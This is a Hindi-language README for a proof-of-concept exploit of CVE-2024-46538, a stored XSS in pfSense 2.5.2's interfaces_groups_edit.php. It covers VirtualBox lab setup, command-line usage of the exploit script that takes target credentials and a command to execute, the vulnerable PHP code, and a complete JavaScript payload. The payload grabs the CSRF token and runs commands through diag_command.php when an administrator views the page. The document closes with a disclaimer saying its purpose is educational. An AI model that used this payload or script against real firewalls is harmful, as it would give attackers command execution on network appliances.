
PfSense संग्रहीत XSS मनमाना कोड निष्पादन शोषण
यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।
इस भेद्यता की खोज करने वाले physicszq को धन्यवाद।
★ CVE-2024-46538 PfSense Stored XSS से Arbitrary Code Execution तक का PoC ★
https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae
CVE-2024-46538 : PfSense Stored XSS भेद्यता
विवरण: pfsense v2.5.2 में एक क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है, जो हमलावरों को interfaces_groups_edit.php में $pconfig वेरिएबल में इंजेक्ट किए गए एक क्राफ्टेड पेलोड के माध्यम से मनमानी वेब स्क्रिप्ट या HTML निष्पादित करने की अनुमति देती है।
संवेदनशील संस्करण डाउनलोड करें (v2.5.2):
Oracle Virtual Box पर चल रहा है
1. वर्चुअल मशीन बनाएँ

2. एडॉप्टर 1,2 इस प्रकार सेटअप करें:

3. बूट ऑर्डर इस प्रकार सेटअप करें:

4. निर्देशों का इस प्रकार पालन करें:

git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538
pip install -r requirements.txt
# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
CVE-2024-46538.py

/src/usr/local/www/interfaces_groups_edit.php
if (isset($_POST['members'])) {
$members = implode(" ", $_POST['members']);
} else {
$members = "";
}
...
// Create new group
} else {
$ifgroupentry['ifname'] = $_POST['ifname'];
$a_ifgroups[] = $ifgroupentry;
}
write_config("Interface Group added");
interface_group_setup($ifgroupentry);
header("Location: interfaces_groups.php");
exit;
} else {
$pconfig['descr'] = $_POST['descr'];
$pconfig['members'] = $members;
}
}
interfaces_groups_edit.php में $pconfig वेरिएबल में फ़िल्टरिंग की कमी से क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न होती है। यह क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता हमलावरों को diag_command.php एंडपॉइंट का उपयोग करके प्रशासक के विरुद्ध मनमानी कमांड निष्पादित करने की अनुमति देती है। उदाहरण के लिए, निम्नलिखित JavaScript Arbitrary Code Execution का कारण बन सकता है।
mal.js
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})
उपयोगकर्ता (अधिकार: WebCfg - Interfaces: Groups: Edit) --(दुर्भावनापूर्ण JavaScript कोड संग्रहीत करता है)--> प्रशासक (कोड निष्पादित करने का अधिकार) --(interfaces_groups.php पढ़ता है)--> JavaScript कोड निष्पादित होता है --> कोड निष्पादन
यह रिपॉजिटरी CVE-2024-46538 का XSS शोषण होने का इरादा नहीं रखता है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और शायद उनके अपने अनुप्रयोगों का परीक्षण करना है।
https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md https://skshieldus.com/eng/business/insight.do#